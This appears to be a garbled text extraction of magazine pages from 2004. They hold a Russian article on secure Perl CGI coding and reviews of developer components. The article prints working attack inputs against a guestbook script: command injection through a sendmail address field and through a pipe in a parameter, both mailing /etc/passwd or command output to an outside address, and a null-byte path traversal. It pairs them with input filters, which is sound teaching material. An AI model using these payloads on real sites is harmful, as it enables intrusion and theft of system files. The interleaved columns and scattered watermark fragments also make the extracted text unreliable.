Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
Скачиваний:
16
Добавлен:
20.04.2024
Размер:
20.09 Mб
Скачать

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

C

E

 

 

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

d

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

 

 

 

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

КОДИНГBUY

PERL

 

 

 

ХАКЕР/¹09(69)/2004

 

to

 

 

 

 

 

 

w Click

to

 

 

 

 

 

m

 

 

 

 

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

 

Докучаев Дмитрий aka Forb (forb@real.xakep.ru)

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

e

 

 

 

 

 

.

 

 

 

 

 

e

 

 

 

p

df

 

 

g

.c

 

 

 

 

 

 

 

 

p

df

 

 

 

g

.c

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

É

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ÆÅ

ËÅ

ÇÍÛ

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Êдесяти задумывается над вопросом безопасности сценария. И они правильно делают, потому что ошибки есть практически в любом коде, и их необходимо своевременно исправлять. Мечтаешь научиться этому? Тогда слушай сюда!огда непросвещенному человеку нужен скрипт гостевухи, он либо ищет его в инете, либо пишет сам. Только пара-тройка людей из

ОСНОВЫ БЕЗОПАСНОГО КОДИНГА НА PERL

Åсли в сишном коде программиста заботит переполнение буфера, то web-разработчика в первую очередь должны волновать параметры, передаваемые CGI-сценарию. В идеаль-

ном случае скрипт стойко выдерживает любой запрос, од-ДОВЕРЯЙ, НО ПРОВЕРЯЙ!

нако подобные сценарии я встречал очень редко. Все потому что умные программисты никогда не показывают свои исходники, а свободно распространяемые скрипты, как правило, всегда дырявые.

Возьми себе за правило: скачал скрипт из инета - просмотри его с ног до головы. В первую очередь, выкинь все ненужные функции (в сценариях часто встречаются комментарии к коду) и перепиши непонятные. Дело в том, что «умелые» программисты любят извращать код собственными алгоритмами даже в тех случаях, когда процедуру можно написать при помощи простого и надежного модуля.

ПРАВИЛЬНЫЙ SENDMAIL

Типичная ситуация: ты скачал фриварный скрипт гостевухи и не знаешь, насколько он безопасен. Руководствуясь моим советом,

ты открываешь сорцы скрипта, анализиру-

ры? Тебя должно насторожить, что перемен-

ешь их и видишь небольшой кусочек кода

ная $email не проверяется на спецсимволы.

подобного содержания:

К тому же, в коде используется вызов внеш-

 

него бинарника sendmail, который запускает-

Благодарственное письмо

ся для приема данных через STDIN-поток.

 

Его ключик -t отвечает за то, что адрес полу-

Use CGI qw(:standard);

чателя можно указать прямо в командной

$email=param('email');

строке, как и сделано в коде гостевухи. А что

open(MAIL,"|/usr/sbin/sendmail -t $email");

если злобный хакер введет свой e-mail в ви-

print MAIL "From: admin@lamer.ru\n";

äå xakep@xakep.ru|cat /etc/passwd|mail

print MAIL "Subject: Thanks\n\nThank you!\n";

xakep@xakep.ru?

close(MAIL);

В этом случае хакеру в ящик свалятся це-

 

лых два письма. Первое с благодарностью,

На первый взгляд код не представляет

второе с файлом /etc/passwd :).

ничего опасного. Но только на первый. Пом-

Поразительно, но многие программисты

нишь, что я говорил про входные парамет-

до сих пор юзают sendmail с ключом -t и не

 

 

проверяют входные

 

 

данные, подвергая

 

 

 

 

свой сайт взлому.

 

 

Чтобы пофиксить

 

 

баг, тебе придется

 

 

отказаться от этой

 

 

опции, а адрес зада-

 

 

вать уже после отк-

 

 

рытия потока. А еще

 

 

обязательно прове-

 

 

рить переменную

 

 

$email на подозри-

Два письма в хакерском ящике

 

 

тельные символы.

 

 

130

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

ЖЕЛЕЗНЫЙ СКРИПТ

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Ломаем бажный скрипт гостевой

 

Делаем сценарий неуязвимым

 

 

 

die print "Incorrect address!\n" if ($email=~/[\|;]/ ||

 

бые байты, даже нулевой. В результате по-

стна - к значению переменной автоматичес-

 

 

 

 

 

$email~!/\@/);

 

 

добной рассинхронизации взломщик может

 

 

ки прикрепляется расширение txt, что не

 

 

open(MAIL,"|/usr/sbin/sendmail");

 

хакнуть твой скрипт. Непонятно? Рассмот-

позволит, например, прочитать /etc/passwd.

 

Чтобы обход

print MAIL "To: $email\n";

 

рим на примере. Допустим, в той же госте-

 

 

Но если хакер пошлет запрос вида

 

 

 

 

 

Taint-check â ñóèä-

.............

 

 

 

вухе ты встречаешь следующий код:

www.lamer.ru/cgi-bin/book.cgi?num= ../../../../../

 

ных сценариях за-

 

 

 

 

 

 

 

 

../../../etc/passwd%00, системный файл будет отк-

 

работал, опцию -U

ПРЕДАТЕЛЬСКИЙ БАЙТ

 

Нулевой баг

 

 

 

рыт и отображен вместо страницы с госте-

 

необходимо ука-

 

 

 

 

 

зать не только в

Следующая, более коварная ошибка встре-

 

 

 

 

 

выми записями. Это происходит потому, что

 

консоли, но и в

чается гораздо чаще, чем кривой вызов

 

$num=param('num');

 

 

сишная функция обработала строку до появ-

 

первой строке

sendmail. Баг основан на так называемой об-

 

$guestdir="/mnt/hdb/web";

 

 

ления нуль-байта, остальные же символы (в

 

скрипта.

работке нуль-байта. В сишных функциях по-

 

open(MESS_FILE,"$guestdir/$num.txt");

 

 

нашем случае .txt) просто игнорировались.

 

 

 

 

 

 

 

добный байтик является признаком конца

 

 

 

 

 

Пофиксить уязвимость можно с помощью

 

 

 

Переменная num берется из потока и, по-

 

 

строки. Соответственно, как только он встре-

 

элементарной проверки $num на спецсимво-

 

 

чается, функция не обрабатывает дальней-

видимому, содержит номер страницы, на ко-

 

 

лы. Если в переменной могут встречаться

 

Не стоит забы-

шие чары в строке. Однако Perl так не счита-

 

торой юзер оставляет сообщение. Казалось

буквы, фикс выглядит следующим образом:

 

 

 

вать, что данная

ет :). Перловая строка может содержать лю-

 

бы, проверка на спецсимволы здесь неуме-

 

 

статья предостав-

 

 

 

 

 

 

 

 

die print "incorrect number" if ($num=~/\0/);

 

ëåíà ëèøü äëÿ îç-

 

 

 

 

 

 

 

 

 

накомления и орга-

 

 

 

 

 

 

 

 

 

 

ОШИБКА С НОМЕРОМ 500

 

 

 

 

 

Если достаточно, чтобы переменная при-

 

низации правиль-

 

 

 

 

 

 

ной защиты с твоей

 

 

 

 

 

 

 

 

нимала только числовое значение, можно

 

стороны. За при-

 

 

 

 

 

 

 

 

обойтись регулярным выражением вида

 

менение материа-

еня часто спрашивают, по какой причине браузер выдает

$num!~/\D/.

 

ла в незаконных

 

целях автор и ре-

Ì ошибку 500 при подаче запроса к сценарию. Так как моя за-

 

 

АТАКА ЧЕРЕЗ ПАЙПЫ

 

дакция ответствен-

дача - научить тебя кодить без ошибок, я просто обязан упомя-

 

ности не несут.

нуть про этот коварный баг. Ошибка 500 может появиться в

Символ «|», или пайп, как его еще называют,

 

 

следующих случаях:

 

 

 

 

 

открывает аргумент функции не для чтения,

 

 

1. Не оформлен хидер.

 

 

 

 

 

а для исполнения. Это ты знаешь сам либо

 

 

 

 

 

 

 

понял из описания первого бага. На наличие

 

 

Основное

отличие кон-

 

 

 

 

 

 

 

 

 

 

 

 

пайпов нужно проверять все входные пере-

 

 

сольного приложения от

 

 

 

 

 

 

 

 

 

 

 

 

менные, в противном случае хакер может

 

 

CGI-скрипта в том, что во

 

 

 

 

 

 

 

 

 

 

 

 

использовать твою гостевуху (или другой

 

 

втором случае браузеру

 

 

 

 

 

 

 

 

 

 

 

 

скрипт) как web-шелл. Рассмотрим следую-

 

 

обязательно пересылает-

 

 

 

 

 

 

 

 

 

 

 

 

щий бажный блок кода:

 

 

ся тип данных. Поэтому

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

убедись, что в твоем коде

 

 

 

 

 

 

 

 

 

 

 

 

 

Опасная переменная

 

 

перед

первым операто-

 

 

 

 

 

 

 

ðîì

print

встречается

 

 

 

 

 

$message=param('message');

 

 

строка print «Content-type:

 

 

 

 

 

 

 

 

 

 

 

 

open(MESS,">$message");

 

 

text/html \n\n»;

Нет хидера - есть ошибка!

 

 

 

 

 

 

 

print MESS "Mess: $message\n";

 

 

 

 

 

 

 

 

 

 

 

 

2. Неверный путь к интерпретатору. Удостоверься, что первая

 

 

close(MESS);

 

 

строчка в скрипте оформлена в виде правильного пути к Perl.

 

 

 

 

 

 

На сервере интерпретатор может лежать в /usr/local/bin, а в

 

 

 

сценарии указываться в виде /usr/bin. Данная проблема акту-

 

 

 

 

 

 

 

 

альна, в основном, для Windows-кодеров, где Perl может нахо-

 

 

 

диться в любой папке.

 

 

 

 

 

 

 

 

3.Присутствие синтаксических ошибок в коде. Прежде чем проверять скрипт через браузер, запусти его в консоли с клю- чиком -c. И только после положительного ответа интерпретатора, продолжай тестирование из web'а.

4.Присутствие символа «\r». Символ перевода каретки означа- ет, что скрипт был залит в бинарном режиме. Переключи режим передачи в ASCII, либо набери консольную команду type ascii, и только потом закачивай сценарий на удаленный сервер.

Блестящий хак за один запрос

131

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

E

 

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

d

 

 

 

F

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

КОДИНГBUY

w Click

to

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

g

 

 

 

 

 

df

 

n

e

 

 

 

 

 

 

-xcha

 

 

 

 

 

PERL

Этот код безопасен в том случае, если в переменной $message отсутствует символ «|». Когда хакер осуществит запрос www.lamer.ru/cgi-bin/book.cgi?message=|id;uname -a|mail xakep@xakep.ru, команды успешно выполнятся, а их результат злоумышленник получит по мылу. Кстати, мою первую гостевуху хакнули именно через такую дырку. Наступать второй раз на грабли я не собираюсь, поэтому всегда проверяю входные параметры на наличие пайпов.

die print "Go to /dev/null" if ($message=~/\|/);

ПРОВЕРКА НА ВШИВОСТЬ

Как ты понял, входные параметры сценария представляют особую опасность. Поэтому обязательно проверяй их на наличие спецсимволов. Из вышеописанных ошибок следует, что проверку необходимо делать следующим образом:

$input=~s/[\0\|\;\\\/]//g;

Подобная строка кода удалит из переменной все запрещенные символы. Эта конструкция часто юзается в моих скриптах и гарантирует их безопасную работу. Если ты не уверен в абсолютной безопасности своего скрипта, очисть принимаемую переменную от двойных точек:

$input=~s/\.\.//g;

Этот шаг приведет изменение запроса ?message=../../../../etc/passwd к виду ?message=////etc/passwd, что обломает замыслы хакера. Впрочем, скрипт принадлежит тебе, поэтому только извращенная фантазия - путь к абсолютной безопасности.

Необходимо отметить, что передавать данные следует только методом POST, а GET применять лишь на стадии отладки.

Я могу привести как минимум две причи- ны, следуя которым необходимо отказаться от GET.

Во-первых, хакер, который видит все признаки GET-запроса, пытается изменить значение переменных прямо через браузер. В итоге, если твой скрипт действительно небезопасен, злоумышленник может совершить какую-нибудь пакость. Когда данные передаются POST'ом, взломщику нужно заглянуть в HTML-код, узнать переменные, которые получает скрипт, а лишь затем подставить их в поток. Впрочем, ты можешь усложнить миссию хакера, если заюзаешь следующую конструкцию:

die if ($ENV{REQUEST_METHOD} ne 'POST');

Я выбираю безопасный код!

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

ХАКЕР/¹09(69)/2004

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

ЗАЩИЩАЙСЯ РЕГВЫРОМ!

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Ñамый популярный способ изоляции входных переменных от посторонних символов - регулярные выражения. Если чест-

но, научиться регвырам довольно сложно. Даже я, несмотря на большой опыт в программировании, до сих пор не освоил эту прекрасную возможность языка. Но азы регулярных выражений я знаю, поэтому привожу несколько простых шаблонов, которые позволят усилить безопасность твоего скрипта.

~s/[\&\;\\\/\.\>\<\'\|\n\r\t]//g; - конструкция для удаления из переменной посторонних символов. Как ты понял, чары просто перечисляются в [] (естественно, если символы являются специальными, их надо экранировать).

if ($in=~/[\;\|]/) { die print "You are lamer\n" } - можно также припугнуть взломщика, сказав ему, что ты следишь за своим кодом :).

$in=~s/\D//g; - удаление из переменной всех нечисловых символов. Бывает полезным при анализе номера страницы, сообщения etc.

$in=~s/\W//g; - то же самое, только переменная должна принимать буквенное значение (пробелы не в счет).

$in=~s/\0//g; - уже известное тебе удаление нуль-байта.

При таком раскладе хакер должен сохранить HTML-документ к себе на винт, затем немного его пропатчить, а лишь потом скормить переменные скрипту. Поверь, не каждый взломщик пойдет на такие извращения :).

Во-вторых, если ты юзаешь GET, любой локальный юзер в системе может узнать пароли, передаваемые сценарию (если, конеч- но, таковые имеются). Это делается при помощи команды grep password access_log с последующим варьированием шаблона.

Уф, кажется, я убедил тебя отказаться от GET. Раз я заговорил о паролях, продолжим эту тему. Некоторые администраторы любят делать дефолтные пароли в своих сценариях либо писать их чистым текстом. Когда ты занялся изготовлением фриварного скрипта, забудь о значениях по умолчанию. Лучше наколбась какой-ни-

будь install.cgi, который запросит пароль у пользователя. Если же ты юзер, выбравший творение с дефолтным паролем, - немедленно поменяй его на сложную фразу, иначе тебя легко поломают.

Никогда не пиши пароль чистым текстом. Если хакер имеет доступ к FTP либо SSH, то он сможет его подсмотреть, а затем использовать в корыстных целях. Лучше зашифруй пассворд функцией crypt(), а затем сравнивай пришедший извне пароль с эталонным. Это делается следующим образом:

$pass="fDwb42WrIg4De"; $pass2=param('pass');

die print "Error\n" if (crypt($pass2,substr($pass,2)) ne $pass);

Подобный код прост и безопасен одновременно. Даже если взломщик посмотрит исход-

Пресекаем действия хакер

132

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

F

 

 

 

 

 

 

t

 

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

 

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

Все параметры как на ладони

ник, ему придется расшифровать хэш, прежде чем приступить к деструктивным действиям.

СУИДНЫЕ СКРИПТЫ

Порой приходится писать суидные сценарии (скрипты, запускаемые из под рута), которые обрабатываются специальным интерпретатором /usr/bin/suidperl. Он создан специально для работы с подобным кодом. Когда создаешь такие вещи, нужно обращать особое внимание на безопасность, в противном слу- чае взломщик может порутать сервер за несколько минут. По умолчанию компилятор запускается с опцией -T, которая отвечает за так называемую taint-проверку. Подобная вещь анализирует внешние данные. Если в сценарии используются переменные окруже-

ния либо небезопасные параметры, скрипт немедленно завершает работу. Некоторые «продвинутые» программисты забивают на такую проверку, блокируя ее флажком -U. В итоге вся безопасность сводится на нет. Никогда не отказывайся от Taint-проверки, если она действительно необходима.

Кроме этого, всегда используй опцию компилятора -w, которая выдает в STDERR так называемые предупреждения. Это не ошибки, однако код со множественными варнингами, как правило, небезопасен.

ЮЗАТЬ ИЛИ НЕ ЮЗАТЬ?

Наконец, мы подошли к основному вопросу: чей код лучше использовать? Я не сторонник фриварных скриптов, но и не могу заставить отказаться от них. Решай сам: если сценарий заслуживает доверия и ты знаешь его код как свои 20 пальцев, - смело используй его в работе. Если же скрипт выглядит убого, а в исходнике нет ни одной проверки на спецсимволы - лучше напиши свой проект. Пусть он будет не слишком функциональным, зато тебя не сломает ни один хакер. z

Доверяй только POST'у!

Суидный скрипт должен быть безопасным

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

E

 

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

d

 

 

 

F

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

КОДИНГBUY

w Click

to

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

g

 

 

 

 

 

df

 

n

e

 

 

 

 

 

 

-xcha

 

 

 

 

 

СОМРОNENTS

Фленов Михаил (horrific@vr-online.ru, www.vr-online.ru)

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

ХАКЕР/¹09(69)/2004

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

ОБЗОР КОМПОНЕНТОВ

IP-МОНИТОР

Описание: Любой админ должен знать, когда и кто обращается к его машине. Для этого написано уже немало утилит мониторинга IP-обращений. Если тебя что-то в них не устраивает, то я предлагаю исходник такой утилиты, который можно улучшить по своему усмотрению.

Особые отличия

Отличный пример слежения за обращениями к твоему компу.

Код написан неплохо, и легко можно расширить его функции. Я бы добавил возможность сигнализации при обращении к локальной машине с определенного IP.

Отслеживаются как входящие, так и исходящие обращения.

Медленная работа. После того как произошло множество обращений по се-

ти, программа поодиночке прорисовыва-

Диагноз

ет каждый пункт в списке.

Подобные утилиты не только контро-

 

лируют обращения к компу с нежела-

 

тельных хостов, но и выслеживают

 

адреса, по которым обращаются

 

троянцы.

Ссылки

Забираем файл здесь: http://data.proglib.ru/c/nets/ipmon.zip

VisualC++

ИМЕНОВАННЫЕ КАНАЛЫ

Описание: В Windows 9x была отличная возможность обмена сообщениями через программу Winpopup и ее именованные каналы. В NT-системах все эту возможность позабыли, позабросили, потому что появилась команда NET SEND. А ведь иногда нужно, чтобы программы обменивались данными по каналам.

Особые отличия

Можно обмениваться данными даже при ненастроенном протоколе TCP/IP, правда, обмен идет с небольшими задержками, но это приемлемо.

В данном примере в одном модуле показывается, как реализовать сервер и клиент.

Все реализовано через класс, который легко подключается к проекту

и упрощает работу с каналом.

Можно указывать имя канала и таким образом устанавливать несколько независимых связей.

Диагноз

Иногда нет смысла заморачиваться с протоколами и их установкой соединения, даже при наличии такого простого класса, как CSocket. Если твои программы просто должны обмениваться какими-то текстовыми сообщениями, то намного проще будет реализовать это через каналы.

Ссылки

Исходники забираем здесь: http://data.proglib.ru/c/nets/p2p_namedpipes_src.zip

VisualC++

ТЕЛЕФОННАЯ КНИЖКА

Описание: В Windows есть телефонная книга, по которой производится дозвон до провайдера или просто звонки другу. Как управлять этой книгой? Для этого существует библиотека RAS, и данный пример показывает, как ей пользоваться.

Особые отличия

 

приятнее было бы иметь GUI, хотя

Диагноз

Можно просматривать

телефон-

консоль тоже иногда необходима.

В 90-х годах, когда на компьютерах

ную книгу.

 

 

властвовала операционка VMS, связь

Можно получить параметры любо-

 

происходила через телефонные сое-

го соединения и изменить их.

 

 

динения. Получив полный контроль

Реализованы функции добавления

 

 

над телефонной книгой, один из ви-

новых записей в телефонную книгу.

 

 

русов распространился по всему НА-

Реализация сделана в виде кон-

 

 

СА и наделал такого шума...

сольного приложения, но

намного

 

 

 

 

 

VisualC++

Ссылки

Класс в исходниках забираем здесь: http://data.proglib.ru/c/nets/extapi.zip

134

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

MAGIC CD DVD BURNER

 

 

 

 

 

 

 

 

 

 

Описание: Какая программа для записи дисков лучше? Спор бесконечный, но теперь ты можешь создать свою собственную прогу с помощью компонентов Magic CD DVD Burner. Запись на CD нужна не только специализированным прогам, но и архиваторам, эту возможность можно встроить даже в файловый менеджер типа Windows Commander.

Особые отличия

На удивление поддерживаются все приводы, даже те, что не опознал Nero 5.

Можно стирать и записывать диски на любой доступной скорости. Поддержка работы с ISO-форма- том.

Тестирование перед записью.

Можно создавать загрузочные диски.

Поставляется без исходников. Несмотря на это, в местах, похожих на фай-

лообменную сеть, были найдены полные

Диагноз

исходные коды :).

Я описал только основные возмож-

 

ности, но это только минимум, и их

 

намного больше. Хочешь стать авто-

 

ром очередного Nero? Тогда этот на-

 

бор компонентов должен быть на

 

твоем компьютере.

Ссылки

Исходник и демку забираем здесь: www.binarymagics.com

ОБЗОР КОМПОНЕНТОВ

Delphi

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

HTML-РЕДАКТОР

Описание: Тебе не дает покоя успех компании CofeeCup в создании HTML-редактора? Тогда создай свой редактор по более низкой цене и с большими возможностями и задави буржуев! В этом тебе помогут компоненты SynEdit. Это отличный набор для создания редактора с подсветкой синтаксиса.

Особые отличия

Подсвечивает синтаксис HTML, PHP, Perl, C++, Delphi, Java, SQL, Python, JavaScript, FoxPro, VB, VBScript, XML. Есть возможность расширения.

Отличный предварительный просмотр перед печатью.

Поддержка файлов Unix и Windows (для тех, кто не в танке: тут есть отличие в символе конца строки).

Поддержка автозавершения ввода. Ты вводишь начало слова, нажима-

ешь спецклавишу и выбираешь конец слова из выпавшего списка.

Гибкие настройки всего и вся. Иногда виснет при установке и вы-

бивает Delphi при закрытии, если был открыт проект, использующий этот компонент.

Диагноз

 

Возможности у компонента отлич-

 

ные, он годен для создания редакто-

 

ра практически любого языка. Каче-

 

ство кода тоже неплохое и результи-

 

рующие программы работают хоро-

Ссылки

шо. А вот Delphi после установки этих

Забираем файл здесь:

компонентов начинает вести себя не

http://SynEdit.SourceForge.net

очень стабильно :(.

 

Delphi

ГРАФИЧЕСКИЙ ФОРМАТ PNG

Описание: После того как формат GIF стал платным, многие программисты начали искать ему альтернативу. Ею стал формат PNG (Portable Network Graphic) - открытый и абсолютно бесплатный. Если ты встроишь в свою прогу поддержку GIF, то придется слюнявить лицензионные отчисления, а тут ничего такого не надо.

Особые отличия

Полная поддержка формата PNG.

Быстрая работа и отличное встраивание в оболочку.

Поддержка CRC для проверки корректности данных.

Поддержка фильтров.

Косяков в работе не замечено.

Диагноз

